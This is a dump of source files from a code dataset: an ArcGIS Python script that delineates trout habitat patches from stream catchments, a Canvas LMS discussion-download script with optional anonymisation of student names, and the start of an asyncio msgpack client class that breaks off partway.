{0}\".format(NodeNum))\n\n#gets catchment polygons for catchments downstream of sample point\ndef get_catchPolyUS(featureID, NodeNum, fromComID, cumDist):\n\ttry:\n\t\tcpInd = cpFeat.index(featureID)\n\n\t\ttmpBi = 0\n\t\tfor catch in catchUsed:\n\t\t\tif catch == cpArray[cpInd][1]:\n\t\t\t\ttmpBi = 1\n\t\t\t\tbreak\n\t\t\n\t\tif tmpBi == 0:\n\t\t\tif usestrDis == True:\n\t\t\t\tif cpArray[cpInd][9] > 0:\n\t\t\t\t\tcumDist = cpArray[cpInd][9]\n\t\t\t\telse:\n\t\t\t\t\tvaaIndex = vaaID.index(tmpComId)\n\t\t\t\t\tcumDist = vaaArray[vaaIndex][3]\n\n\t\t\t\tif cumDist > strDis:\n\t\t\t\t\treturn\n\t\t\t\telse:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tcomIndex = comArray.index(featureID)\n\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\tcomArray.append(featureID)\n\t\t\t\t\t\tcomCodes.append(cpArray[cpInd][2])\n\t\t\t\t\t\tcpUsed.append(featureID)\n\t\t\t\t\t\tcatchUsed.append(cpArray[cpInd][1])\n\n\t\t\telse:\n\t\t\t\ttry:\n\t\t\t\t\tcomIndex = comArray.index(featureID)\n\t\t\t\texcept ValueError:\n\t\t\t\t\tcomArray.append(featureID)\n\t\t\t\t\tcomCodes.append(cpArray[cpInd][2])\n\t\t\t\t\tcpUsed.append(featureID)\n\t\t\t\t\tcatchUsed.append(cpArray[cpInd][1])\n\n\t\t\tif cpArray[cpInd][6] != \"No\":\n\t\t\t\tif cpArray[cpInd][6] == \"Yes\":\n\t\t\t\t\treturn\n\t\t\t\telse:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tdamIndex = damID.index(featureID)\n\n\t\t\t\t\t\tif usedamDis == True:\n\t\t\t\t\t\t\tsampFDRNull = str(arcpy.GetCellValue_management(fdrNull, \"{0} {1}\".format(damArray[damIndex][1], damArray[damIndex][2]), \"1\").getOutput(0))\n\t\t\t\t\t\t\ttmpSpot = getNoData(damArray[damIndex][1], damArray[damIndex][2], sampFDRNull)\n\t\t\t\t\t\t\ttmpdamDist = math.sqrt(math.pow(tmpSpot[0] - damArray[damIndex][1],2) + math.pow(tmpSpot[1] - damArray[damIndex][2],2))\n\n\t\t\t\t\t\t\tif tmpdamDist > damDis:\n\t\t\t\t\t\t\t\tmoveUpstream(featureID, cumDist)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\treturn\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\treturn\n\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\tmoveUpstream(featureID, cumDist)\n\t\t\telse:\n\t\t\t\tmoveUpstream(featureID, cumDist)\n\texcept ValueError:\n\t\tmoveUpstream(featureID, cumDist)\n\n#get EBTJV_Code and patch composition\ndef get_composition():\n\tbkt = 0\n\tbnt = 0\n\trbt = 0\n\t\n\tfor tmpCode in comCodes:\n\t\tif tmpCode == \"0.1\" or tmpCode == \"0.1P\":\n\t\t\tbnt = 1\n\t\t\trbt = 1\n\t\telif tmpCode == \"0.2\" or tmpCode == \"0.2P\":\n\t\t\tbnt = 1\n\t\telif tmpCode == \"0.3\" or tmpCode == \"0.3P\":\n\t\t\trbt = 1\n\t\telif tmpCode == \"0.4\" or tmpCode == \"0.4P\":\n\t\t\tbnt = 1\n\t\t\trbt = 1\n\t\telif tmpCode == \"0.5\" or tmpCode == \"0.5P\":\n\t\t\tbkt = 1\n\t\telif tmpCode == \"1.0\" or tmpCode == \"1.0P\":\n\t\t\tbkt = 1\n\t\t\tbnt = 1\n\t\t\trbt = 1\n\t\telif tmpCode == \"1.1\" or tmpCode == \"1.1P\":\n\t\t\tbkt = 1\n\t\telif tmpCode == \"1.2\" or tmpCode == \"1.2P\":\n\t\t\tbkt = 1\n\t\t\tbnt = 1\n\t\telif tmpCode == \"1.3\" or tmpCode == \"1.3P\":\n\t\t\tbkt = 1\n\t\t\trbt = 1\n\t\telif tmpCode == \"1.4\" or tmpCode == \"1.4P\":\n\t\t\tbkt = 1\n\t\t\tbnt = 1\n\t\t\trbt = 1\n\t\telif tmpCode == \"1.5\" or tmpCode == \"1.5P\":\n\t\t\tbkt = 1\n\n\ttmpArray = []\n\ttmpCnt = []\n\n\tfor i in comCodes:\n\t\ttry:\n\t\t\ttmpIndex = tmpArray.index(i)\n\t\t\ttmpCnt[tmpIndex] += 1\n\t\texcept:\n\t\t\ttmpArray.append(i)\n\t\t\ttmpCnt.append(1)\n\n\ta = 0\n\tfor i in tmpArray:\n\t\tif a == 0:\n\t\t\tpatchComp = \"{0} = {1}\".format(tmpArray[a], tmpCnt[a])\n\t\telse:\n\t\t\tpatchComp += \", {0} = {1}\".format(tmpArray[a], tmpCnt[a])\n\t\ta += 1\n\n\tif bkt == 1 and bnt == 1 and rbt == 1:\n\t\treturn \"1.4\", patchComp\n\telif bkt == 1 and rbt == 1:\n\t\treturn \"1.3\", patchComp\n\telif bkt == 1 and bnt == 1:\n\t\treturn \"1.2\", patchComp\n\telif bkt == 1:\n\t\treturn \"1.1\", patchComp\n\telif bnt == 1 and rbt == 1:\n\t\treturn \"0.4\", patchComp\n\telif rbt == 1:\n\t\treturn \"0.3\", patchComp\n\telif bnt == 1:\n\t\treturn \"0.2\", patchComp\n\n#*****Beginning of algorithm*****\n\ncatchPoly = arcpy.GetParameterAsText(0)\nstreams = arcpy.GetParameterAsText(1)\ndams = arcpy.GetParameterAsText(2)\nfdrNull = arcpy.GetParameterAsText(3)\nplusFlowVAA = arcpy.GetParameterAsText(4)\nplusFlow = arcpy.GetParameterAsText(5)\noutName = arcpy.GetParameterAsText(6)\nusestrDis = arcpy.GetParameter(7)\nstrDis = float(arcpy.GetParameterAsText(8))\nusedamDis = arcpy.GetParameter(9)\ndamDis = float(arcpy.GetParameterAsText(10))\nusestrOrd = arcpy.GetParameter(11)\nstrOrd\t= long(arcpy.GetParameterAsText(12))\n\ntmpDescribe = arcpy.Describe(catchPoly)\ntmpPath = \"{0}\".format(tmpDescribe.dataElement.catalogPath)\na = tmpPath.rindex(\"\\\\\")\noutPath = tmpPath[:a]\n\ntmpFile = open(\"{0}/Patch Error Log.txt\".format(outPath), \"w\")\ntmpFile.write(\"Node\\toldFeat\\tfirstFeat\\n\")\n\n#Write parameters to file\ntmpParam = open(\"{0}/Patch Parameter Settings.txt\".format(outPath), \"w\")\ntmpParam.write(\"Catchment Feature Layer: {0}\\n\".format(catchPoly))\ntmpParam.write(\"Flowline Feature Layer: {0}\\n\".format(streams))\ntmpParam.write(\"Barrier Feature Layer: {0}\\n\".format(dams))\ntmpParam.write(\"Flow Direction Null Raster Layer: {0}\\n\".format(fdrNull))\ntmpParam.write(\"PlusFlowlineVAA Table: {0}\\n\".format(plusFlowVAA))\ntmpParam.write(\"PlusFlow Table: {0}\\n\".format(plusFlow))\ntmpParam.write(\"Output Base File Name: {0}\\n\".format(outName))\ntmpParam.write(\"Use Max Stream Distance: {0}\\n\".format(usestrDis))\nif usestrDis == True:\n\ttmpParam.write(\"Max Stream Distance (km): {0}\\n\".format(strDis))\ntmpParam.write(\"Use Max Barrier Distance: {0}\\n\".format(usedamDis))\nif usedamDis == True:\n\ttmpParam.write(\"Max Barrier Point Distance (m): {0}\\n\".format(damDis))\ntmpParam.write(\"Use Max Stream Order: {0}\\n\".format(usestrOrd))\nif usestrOrd == True:\n\ttmpParam.write(\"Max Stream Order: {0}\\n\".format(strOrd))\ntmpParam.close()\n\na = outName.rindex(\"\\\\\")\noutPath = outName[:a]\noutFile = outName[a+1:]\n\nCRSR = arcpy.Describe(catchPoly)\n\ncpFields = [\"GRIDCODE\", \"FEATUREID\", \"EBTJV_Code\", \"Catch_Cnt\", \"Samp_Year\", \"Samp_Dist\", \"Dam\", \"Str_Order\", \"Comment\", \"Cum_Length\", \"Samp_OID\", \"Samp_Loc\"]\nstreamFields = [\"COMID\", \"SHAPE@\"]\nVAAFields = [\"COMID\", \"FromNode\", \"STREAMORDE\", \"LengthKM\", \"FCODE\", \"ToNode\"]\ndamFields = [\"FEATUREID\", \"SHAPE@X\", \"SHAPE@Y\"]\nPFlowFields = [\"NodeNumber\", \"FromComId\", \"ToComId\"]\ncatchFields = [\"Str_Order\", \"FEATUREID\", \"Catch_Cnt\"]\n\n#read catchPoly records into array\narcpy.AddMessage(\"Reading Catchment records into array...\")\ncpCnt = long(arcpy.GetCount_management(catchPoly).getOutput(0))\ncpFeat = [0 for j in range(cpCnt)]\ncpArray = [[0 for j in range(9)] for i in range(cpCnt)]\ncpRecords = arcpy.da.UpdateCursor(catchPoly, cpFields)\ni = 0\nfor cpRow in cpRecords:\t\n\tcpFeat[i] = cpRow[1]\n\tcpArray[i] = cpRow\n\ti += 1\n\n#Initialize stream arrays\narcpy.AddMessage(\"Reading NHD Flowline records into array...\")\nstreamCnt = long(arcpy.GetCount_management(streams).getOutput(0))\nstreamArray = [[0 for j in range(3)] for i in range(streamCnt)]\nstreamID = [0 for j in range(streamCnt)]\n\n#read dams records into array\narcpy.AddMessage(\"Reading Barrier records into array...\")\ndamCnt = long(arcpy.GetCount_management(dams).getOutput(0))\ndamArray = [[0 for j in range(3)] for i in range(damCnt)]\ndamID = [0 for j in range(damCnt)]\ndamRecords = arcpy.da.SearchCursor(dams, damFields, \"\", CRSR.spatialReference)\ni = 0\nfor damRow in damRecords:\n\tdamID[i] = damRow[0]\n\tdamArray[i] = damRow\n\ti += 1\n\n#read PlusFlowlineVAA records into array\narcpy.AddMessage(\"Reading PlusFlowlineVAA records into array...\")\nvaaCnt = long(arcpy.GetCount_management(plusFlowVAA).getOutput(0))\nvaaArray = [[0 for j in range(3)] for i in range(vaaCnt)]\nvaaID = [0 for j in range(vaaCnt)]\nvaaRecords = arcpy.da.SearchCursor(plusFlowVAA, VAAFields)\ni = 0\nfor vaaRow in vaaRecords:\n\tvaaID[i] = vaaRow[0]\n\tvaaArray[i] = vaaRow\n\ti += 1\n\n#read PlusFlow records into array\narcpy.AddMessage(\"Reading PlusFlow records into array...\")\npfCnt = long(arcpy.GetCount_management(plusFlow).getOutput(0))\npfArray = [[0 for j in range(2)] for i in range(pfCnt)]\npfNode = [0 for j in range(pfCnt)]\npfRecords = arcpy.da.SearchCursor(plusFlow, PFlowFields)\ni = 0\nfor pfRow in sorted(pfRecords):\n\tpfNode[i] = pfRow[0]\n\tpfArray[i] = pfRow\n\ti += 1\n\n#Create new patch feature layer\narcpy.CreateFeatureclass_management(outPath, outFile, \"POLYGON\", \"\", \"DISABLED\", \"DISABLED\", CRSR.SpatialReference)\narcpy.AddField_management(outName, \"Feat_ID\", \"DOUBLE\")\narcpy.AddField_management(outName, \"EBTJV_Code\", \"TEXT\")\narcpy.AddField_management(outName, \"Num_Catch\", \"LONG\")\narcpy.AddField_management(outName, \"Area_HA\", \"DOUBLE\")\narcpy.AddField_management(outName, \"Patch_Comp\", \"TEXT\")\narcpy.DeleteField_management(outName, \"Id\")\n\npatchFields = [\"SHAPE@\", \"Feat_ID\", \"EBTJV_Code\", \"Num_Catch\", \"Patch_Comp\"]\npatchRecords = arcpy.da.InsertCursor(outName, patchFields)\n\ncatchRecords = arcpy.da.SearchCursor(catchPoly, catchFields, '\"Str_Order\" > 0')\n#catchRecords = arcpy.da.SearchCursor(catchPoly, catchFields, '\"Catch_Cnt\" =1')\n#catchRecords = arcpy.da.SearchCursor(catchPoly, catchFields, '\"FEATUREID\" = 6731463')\n\ncpUsed = []\nq = 0\n\nfor catchRow in sorted(catchRecords, key=lambda k: (k[0], -k[2]), reverse=True):\n\t#if catchRow[0] == 0:\n\t#\tbreak\n\n\tq += 1\n\tarcpy.AddMessage(\"Record {0}, Feature ID = {1}, Stream Order = {2}, catchCnt = {3}\".format(q, catchRow[1], catchRow[0], catchRow[2]))\n\ttmpComId = 0\n\ttmpBi = 0\n\tcomArray = []\n\tcomCodes = []\n\tcatchUsed = []\n\twhereClause = \"\"\n\n\t#Determine if catchment has already been assigned to a patch\n\ttry:\n\t\t#If successful then catchment has already been used\n\t\tusedIndex = cpUsed.index(catchRow[1])\n\n\texcept ValueError:\n\t\tcomArray.append(catchRow[1])\n\t\tcpUsed.append(catchRow[1])\n\t\tcpIndex = cpFeat.index(catchRow[1])\n\t\tcomCodes.append(cpArray[cpIndex][2])\n\n\t\ttmpComId = moveDownstream(catchRow[1])\n\t\tcpIndex = cpFeat.index(tmpComId)\n\n\t\tif usestrDis == True:\n\t\t\tif cpArray[cpIndex][9] > 0:\n\t\t\t\tcumDist = cpArray[cpIndex][9]\n\t\t\telse:\n\t\t\t\tvaaIndex = vaaID.index(tmpComId)\n\t\t\t\tcumDist = vaaArray[vaaIndex][3]\n\n\t\t\tif cumDist < strDis:\n\t\t\t\ttry:\n\t\t\t\t\tcomIndex = comArray.index(tmpComId)\n\t\t\t\texcept ValueError:\n\t\t\t\t\tcomArray.append(tmpComId)\n\t\t\t\t\tcpUsed.append(tmpComId)\n\t\t\t\t\tcomCodes.append(cpArray[cpIndex][2])\n\t\t\telse:\n\t\t\t\ttmpBi = 1\n\t\telse:\n\t\t\tcumDist = 0\n\t\t\ttry:\n\t\t\t\tcomIndex = comArray.index(tmpComId)\n\t\t\texcept ValueError:\n\t\t\t\tcomArray.append(tmpComId)\n\t\t\t\tcpUsed.append(tmpComId)\n\t\t\t\tcomCodes.append(cpArray[cpIndex][2])\n\n\t\tif cpArray[cpIndex][2] != \"0\" and cpArray[cpIndex][2] != \"0P\" and tmpBi == 0:\n\t\t\tif cpArray[cpIndex][6] != \"Yes\" or cpArray[cpIndex][11] != \"Below\":\n\t\t\t\tif usestrOrd == True:\n\t\t\t\t\tif cpArray[cpIndex][7] <= strOrd:\n\t\t\t\t\t\tmoveUpstream(tmpComId, cumDist)\n\t\t\t\telse:\n\t\t\t\t\tmoveUpstream(tmpComId, cumDist)\n\t\t\n\t\t\t#Select catchments by FeatureID and export them to a new layer\n\t\t\ta = 0\n\t\t\tfor i in comArray:\n\t\t\t\tif a == 0:\n\t\t\t\t\twhereClause = '\"FEATUREID\" = {0}'.format(comArray[a])\n\t\t\t\telse:\n\t\t\t\t\twhereClause += ' or \"FEATUREID\" = {0}'.format(comArray[a])\n\t\t\t\ta += 1\n\n\t\t\ttmpSelect = \"{0}\\\\tmpSelect.shp\".format(outPath)\n\t\t\ttmpDissolve = \"{0}\\\\tmpDissolve.shp\".format(outPath)\n\n\t\t\tarcpy.Select_analysis(catchPoly, tmpSelect, '{0}'.format(whereClause))\n\t\t\tarcpy.Dissolve_management(tmpSelect, tmpDissolve, [\"SOURCEFC\"], \"\", \"MULTI_PART\")\n\n\t\t\tpatchCode, patchComp = get_composition()\n\n\t\t\tdissolveRecords = arcpy.da.SearchCursor(tmpDissolve, [\"SHAPE@\"], \"\", CRSR.spatialReference)\n\t\t\tfor dissolveRow in dissolveRecords:\n\t\t\t\tpatchRecords.insertRow((dissolveRow[0], tmpComId, patchCode, len(comArray), patchComp))\n\n#Calculate patch area\narcpy.AddMessage(\"Calculating patch area...\")\narcpy.CalculateField_management(outName, \"Area_HA\", \"!SHAPE.AREA@HECTARES!\", \"PYTHON_9.3\")\n\narcpy.Delete_management(tmpSelect)\narcpy.Delete_management(tmpDissolve)\n\n\n#Remove partial patches\narcpy.AddMessage(\"Verifying patches...\")\n\npatchFields = [\"Area_HA\", \"Feat_ID\", \"SHAPE@\", \"FID\"]\n\npatchCnt = long(arcpy.GetCount_management(outName).getOutput(0))\npatchFeat = [0 for j in range(patchCnt)]\npatchArray = [[0 for j in range(9)] for i in range(patchCnt)]\npatchRecords = arcpy.da.SearchCursor(outName, patchFields)\ni = 0\nfor patchRow in sorted(patchRecords, reverse=True):\t\n\tpatchFeat[i] = patchRow[1]\n\tpatchArray[i] = patchRow\n\ti += 1\n\na = 0\ndupsFID = []\n\nwhile a < patchCnt:\n\tb = a + 1\n\twhile b < patchCnt:\n\t\ttmpStr = patchArray[a][2].contains(patchArray[b][2])\n\t\tif tmpStr == True:\n\t\t\ttry:\n\t\t\t\tarcpy.AddMessage(\"{0} contains {1}\".format(patchArray[a][1], patchArray[b][1]))\n\t\t\t\tdupsFID.index(patchArray[b][3])\n\t\t\texcept ValueError:\n\t\t\t\tdupsFID.append(patchArray[b][3])\n\t\tb += 1\n\ta += 1\n\ndupsFID.sort(reverse=True)\n\nfor dup in dupsFID:\n\tdelete = arcpy.da.UpdateCursor(outName, [\"FID\", \"Feat_ID\"], '\"FID\" = {0}'.format(dup))\n\tfor rows in delete:\n\t\tarcpy.AddMessage(\"Deleting FeatureID {0}, FID {1}\".format(rows[1], rows[0]))\n\t\tdelete.deleteRow()\n\n#Create layers for each salmonid species\narcpy.AddMessage(\"Making patch layer for each salmonid species...\")\n\na = outFile.index(\".\")\n\ntmpStr = \"{0}_BKT.shp\".format(outFile[:a])\ntmpOutput = \"{0}\\\\{1}\".format(outPath, tmpStr)\nwhereClause = '\"EBTJV_Code\" = ' + \"'1.1' or \" + '\"EBTJV_Code\" = ' + \"'1.2' or \" + '\"EBTJV_Code\" = ' + \"'1.3' or \" + '\"EBTJV_Code\" = ' + \"'1.4'\" \narcpy.Select_analysis(outName, tmpOutput, '{0}'.format(whereClause))\n\ntmpStr = \"{0}_BNT.shp\".format(outFile[:a])\ntmpOutput = \"{0}\\\\{1}\".format(outPath, tmpStr)\nwhereClause = '\"EBTJV_Code\" = ' + \"'0.2' or \" + '\"EBTJV_Code\" = ' + \"'0.4' or \" + '\"EBTJV_Code\" = ' + \"'1.2' or \" + '\"EBTJV_Code\" = ' + \"'1.4'\" \narcpy.Select_analysis(outName, tmpOutput, '{0}'.format(whereClause))\n\ntmpStr = \"{0}_RBT.shp\".format(outFile[:a])\ntmpOutput = \"{0}\\\\{1}\".format(outPath, tmpStr)\nwhereClause = '\"EBTJV_Code\" = ' + \"'0.3' or \" + '\"EBTJV_Code\" = ' + \"'0.4' or \" + '\"EBTJV_Code\" = ' + \"'1.3' or \" + '\"EBTJV_Code\" = ' + \"'1.4'\" \narcpy.Select_analysis(outName, tmpOutput, '{0}'.format(whereClause))\n\ntmpFile.close()\n","sub_path":"EBTJV_Patch_Old.py","file_name":"EBTJV_Patch_Old.py","file_ext":"py","file_size_in_byte":16091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"597210205","text":"# -*- coding: utf-8 -*-\n\n#make sure you pip install the necessary libraries before running the script\ntry:\n import pandas \nexcept:\n import pip\n pip.main(['install', 'pandas'])\n import pandas\ntry:\n import os\nexcept:\n import pip\n pip.main(['install', 'os'])\n import os\ntry:\n import api_calls as api\nexcept:\n print(\"You are missing the api_calls.py file. Please ensure this file is in the same folder as this script and try again.\")\n \ndef DownloadDiscussion():\n #get course ID \n courseID = input(\"\\nEnter Course ID: \").strip() \n #Try to read the file (if the user wants to quit, the title will be 'quit')\n try:\n #api calls to gather course and student information\n courseDetails = api.getCourseDetails(courseID)\n courseName = courseDetails.get('name')\n decision = input(\"\\nFound course \\\"\" + courseName + \"\\\". Hit Enter if this is the correct course or type 'change' to select a different course: \").strip()\n #if the course doesn't exist, either let the user reenter or quit the program\n while decision.lower() == \"change\":\n courseID = input(\"\\nEnter Course ID: \").strip() \n courseDetails = api.getCourseDetails(courseID)\n courseName = courseDetails.get('name')\n decision = input(\"\\nFound course \" + courseName + \". Hit Enter if this is the correct course or type 'change' to select a different course: \").strip()\n\n courseStudents = api.getCourseStudents(courseID)\n studentList = {}\n for student in courseStudents:\n studentList[student['name']] = student['sis_user_id']\n try:\n topicID = input(\"\\nPlease Enter Topic ID: \").strip()\n topicDetails = api.getSingleTopic(courseID, topicID)\n \n #Enforces FIPPA compliance\n fippaDecision = input(\"Do you wish to have Student Name and ID showing (yes/no, default=yes): \").strip()\n #This will clean the input from the user. Using in function any combination of 'y', 'e', 's', or '' will be run yes and 'n' and 'o' will set to no\n if fippaDecision in 'yes':\n fippaDecision = 'yes'\n elif fippaDecision in 'no':\n fippaDecision = 'no'\n else:\n #If they don't enter any character of '', 'y', 'e', 's', 'n', or 'o' it will repeat asking the user for input\n while (fippaDecision not in 'yes') and (fippaDecision not in 'no'):\n fippaDecision = input(\"Do you wish to have Student Name and ID showing (yes/no): \").strip() \n if fippaDecision in 'yes':\n fippaDecision = 'yes'\n elif fippaDecision in 'no':\n fippaDecision = 'no' \n try: \n outputFile = FIPPA(fippaDecision, topicDetails, studentList)\n try:\n title = input(\"\\nPlease enter what you would like to name the completed file, including the extension (.csv), and then press Enter (or leave empty for \"+courseName+\"_DiscussionDownload.csv): \").strip()\n if(title in \"\"):\n title = courseName+'_DiscussionDownload.csv'\n #If user forgets to add .csv system will add it in here\n if title.endswith('.csv'):\n pass\n else:\n print(\"\\nIt seems like you forgot to add the .csv extension. Don't worry I've added it for you!\")\n title = os.path.splitext(title)[0]+'.csv'\n #If the title is somehow blank or already take, ask user to re-enter name and loop until its a valid name\n if (os.path.isfile(title) or not title or not title.endswith('.csv') or title=='.csv'):\n while (os.path.isfile(title) or not title or not title.endswith('.csv') or title=='.csv'):\n if title=='quit':\n return\n else:\n title = loopFileName(courseName)\n #Creates a csv with the given title name and tell user that the file has been created!\n outputFile.to_csv(title, encoding=\"utf-8\", index=False)\n input(\"\\nSuccess! CSV file named: \" + title + \" has been successfully created in the same directory as this script. Hit enter or close this window to exit:\").strip() \n \n #Raise error if issue while naming and creating file\n except Exception as e:\n print(e)\n decision = input(\"\\nThere was an issue while attempting to name and/or creating the file. Please contact the CTL for assitional assistance. Hit Enter to restart the program or type 'quit' to exit: \")\n if decision.lower() == \"quit\":\n return\n else:\n DownloadDiscussion()\n #Raise error if problem creating the digital file\n except Exception as e:\n print(e)\n decision = input(\"\\nThere was an issue while attempting to create the outputted file. Please contact the CTL for assitional assistance. Hit Enter to restart the program or type 'quit' to exit: \")\n if decision.lower() == \"quit\":\n return\n else:\n DownloadDiscussion()\n #If there is an issue with the discussion, ask users to try again\n except Exception as e:\n print(e)\n decision = input(\"\\nThere was an error attempting to connect to your discussion. Please check to make sure you have the correct discussion ID and try again. Hit Enter to restart the program or type 'quit' to exit: \")\n if decision.lower() == \"quit\":\n return\n else:\n DownloadDiscussion()\n #If there is an issue with API or token, ask user to check\n except Exception as e:\n print(e)\n decision = input(\"\\nSomething went wrong. Perhaps you entered an invalid Canvas API Access Token or Course ID? Hit Enter to restart the program or type 'quit' to exit: \")\n if decision.lower() == \"quit\":\n return\n else:\n DownloadDiscussion()\n\n#Occurs only if user wants formatted name is already taken. Asks user if they want to correct or quit format, and if they want to correct it ensures they the file name is not blank and is a unique file name (otherwise it'd over write other files) \ndef loopFileName(courseName):\n rename = input(\"\\n\\t(Invalid Name) The previous name ended up compliling into a name that the computer won't accept.\\n\\tWould you like to try again with a new name?\\n\\tHit Enter to try again or type 'quit' to exit: \").strip() \n if rename.lower() == \"quit\":\n return 'quit'\n else:\n title = input(\"\\nPlease enter what you would like to name the completed file, including the extension (.csv), and then press Enter (or leave empty for \"+courseName+\"_DiscussionDownload.csv): \").strip()\n if (os.path.isfile(title)):\n while(os.path.isfile(title)):\n title = input(\"\\n\\t(Conflicting Name) The previous name ended up compliling into a name thats already taken.\\n\\tWould you like to try again with a new name?\\n\\tHit Enter to try again or type 'quit' to exit: \").strip() \n if(title.lower() == \"quit\"):\n return 'quit'\n #If the title is blank ask the user for a non blank name. This is because otherwise it will create a csv file without a name and the file will not open.\n if not title:\n title = courseName+'_DiscussionDownload.csv'\n #Check to see if name includes .csv, if not change to .csv file\n if title.endswith('.csv'):\n pass\n else:\n print(\"\\nIt seems like you forgot to add the .csv extension. Don't worry I've added it for you!\")\n title = os.path.splitext(title)[0]+'.csv'\n return title\n\n#This is the function used to process the discussion post to\ndef FIPPA(fippaDecision, topicDetails, studentList):\n #If you want student names, create dictionary relating namnes and ids\n if fippaDecision == 'yes':\n student_canvasList = {}\n for student in topicDetails['participants']:\n if student['id'] not in student_canvasList:\n student_canvasList[student['id']] = student['display_name']\n\n studentResponseList = {}\n #For each response in the discussion\n for response in topicDetails['view']:\n if fippaDecision == 'no':\n studnetResponse = response['user_id']\n #print(response['user_id'])\n elif fippaDecision == 'yes':\n studnetResponse = student_canvasList[response['user_id']] \n #If the student hasn't been added to the dictionary, add them to the dictionary\n if studnetResponse not in studentResponseList:\n studentResponseList[studnetResponse] = []\n if fippaDecision == 'yes':\n studentResponseList[studnetResponse].append(studentList[studnetResponse]) \n #Then if student is in dictionary, add their response to their dictionary list (a list inside a dictionary)\n if studnetResponse in studentResponseList:\n studentResponseList[studnetResponse].append(str(response['message']).replace('

', '').replace('

', ''))\n \n #Then if that reponse has a reply, for each reply check who its from and add it to responder's dictionary list\n if 'replies' in response:\n #For each reply to a response\n for reply in response['replies']:\n if fippaDecision == 'no':\n studnetReply = reply['user_id'] \n elif fippaDecision == 'yes':\n studnetReply = student_canvasList[reply['user_id']] \n \n #Check if replier has been added to dictionary, and if not then add them to dictionary\n if studnetReply not in studentResponseList:\n studentResponseList[studnetReply] = []\n if fippaDecision == 'yes':\n if studnetReply in studentList:\n studentResponseList[studnetReply].append(studentList[studnetReply])\n else:\n studentResponseList[studnetReply].append('None')\n\n #Then if replier is in dictionary, add their reply to their dictionary list (a list inside a dictionary)\n if studnetReply in studentResponseList:\n studentResponseList[studnetReply].append(str(reply['message']).replace('

', '').replace('

', ''))\n #Converts dictionary with lists inside to dataframe\n outputFile = pandas.DataFrame.from_dict(studentResponseList, orient=\"index\")\n #Takes sis_id from index and convert to column\n outputFile = outputFile.reset_index()\n \n #Rename columns so that they match what the column contains\n columnIDList = []\n startPoint = 0\n if fippaDecision == 'no':\n columnIDList.append('Canvas_ID')\n startPoint = 1\n elif fippaDecision == 'yes':\n columnIDList.append('StudentName')\n columnIDList.append('SIS_ID')\n startPoint = 2\n\n #For each response, add to columnIDList so that all student responses are listed without limit\n for response in range(startPoint, len(outputFile.columns)):\n if fippaDecision == 'no':\n columnIDList.append('Response' + str(response))\n elif fippaDecision == 'yes':\n columnIDList.append('Response' + str(response-1))\n #Change column names in dataframe\n outputFile.columns = columnIDList\n \n #If contains student names, ask if sort by first nam, last namne, or student number\n if fippaDecision == 'yes':\n #Ask how user wants to sort\n sortDecision = input(\"Do you wish to sort by first, last name, or student number? (first/last/number, default=first): \").strip()\n #Basic loop to make sure a proper sorting decision is made\n if sortDecision not in 'first' or sortDecision not in 'last' or sortDecision not in 'number':\n while sortDecision not in 'first' and sortDecision not in 'last' and sortDecision not in 'number':\n sortDecision = input(\"Do you wish to sort by first, last name, or student number? (first/last/number, default=first): \").strip()\n\n outputFile[\"FirstName\"] = outputFile[\"StudentName\"].str.split().str[0]\n outputFile[\"LastName\"] = outputFile[\"StudentName\"].str.split().str[-1] \n outputFile = outputFile.drop('StudentName', axis=1)\n cols = outputFile.columns.tolist()\n newcols = cols[-1:] + cols[-2:-1] + cols[0:1] + cols[1:-2]\n outputFile = outputFile[newcols]\n \n #If sort by first name, sort first by first name then by student number\n if sortDecision in 'first':\n outputFile = outputFile.sort_values(['FirstName', 'LastName', 'SIS_ID'])\n #If sort by last name, create column for last substring in, then sort by that substring followed by first name then student number. Finally remove substring column\n elif sortDecision in 'last':\n outputFile = outputFile.sort_values(['LastName', 'FirstName', 'SIS_ID'])\n #If sort by student number, just sort by student number\n elif sortDecision in 'number':\n outputFile = outputFile.sort_values(['SIS_ID', 'LastName', 'FirstName'])\n\n #Return output file\n return outputFile \n \nif __name__ == '__main__': \n DownloadDiscussion()","sub_path":"Download Discussions/Download Discussions.py","file_name":"Download Discussions.py","file_ext":"py","file_size_in_byte":13736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"563521319","text":"import asyncio\nimport msgpack\nfrom async_timeout import timeout as Timeout\nfrom .types import Types, Command, Code\n\n\nclass Connection:\n __slots__ = (\n 'host', 'port', 'loop', 'open', '_reader', '_writer',\n '__reader_lock', '__connection_lock',\n )\n\n def __init__(self, host: str, port: int, loop: asyncio.AbstractEventLoop):\n self.host = host # type: str\n self.port = int(port) # type: int\n self.loop = loop # type: asyncio.AbstractEventLoop\n self.open = False # type: bool\n self._reader = None # type: asyncio.StreamReader\n self._writer = None # type: asyncio.StreamWriter\n self.__reader_lock = asyncio.Lock(loop=self.loop)\n self.__connection_lock = asyncio.Lock(loop=self.loop)\n\n @asyncio.coroutine\n def connect(self):\n if self.open:\n return\n\n with (yield from self.__connection_lock):\n self._reader, self._writer = yield from asyncio.open_connection(\n self.host,\n self.port,\n loop=self.loop\n )\n\n self.open = True\n\n @asyncio.coroutine\n def read(self, n=-1):\n yield from self.connect()\n\n with (yield from self.__reader_lock):\n data = yield from self._reader.read(n)\n return data\n\n @asyncio.coroutine\n def readline(self):\n yield from self.connect()\n\n with (yield from self.__reader_lock):\n data = yield from self._reader.readline()\n return data\n\n @asyncio.coroutine\n def readexactly(self, n):\n yield from self.connect()\n\n with (yield from self.__reader_lock):\n data = yield from self._reader.readexactly(n)\n return data\n\n def write(self, data):\n return self._writer.write(data)\n\n def writelines(self, data):\n return self._writer.writelines(data)\n\n def can_write_eof(self):\n return self._writer.can_write_eof()\n\n def write_eof(self):\n return self._writer.write_eof()\n\n def get_extra_info(self, name, default=None):\n return self._writer.get_extra_info(name, default)\n\n def close(self):\n return self._writer.close()\n\n @asyncio.coroutine\n def drain(self):\n yield from self._writer.drain()\n\n\nclass Client:\n __slots__ = 'loop', 'remote_host', 'remote_port', 'connection', 'timeout'\n\n def __init__(self, host: str='127.0.0.1', port: int=2437,\n loop: asyncio.AbstractEventLoop=None, timeout: int=5):\n\n self.loop = loop if loop else asyncio.get_event_loop() # type: 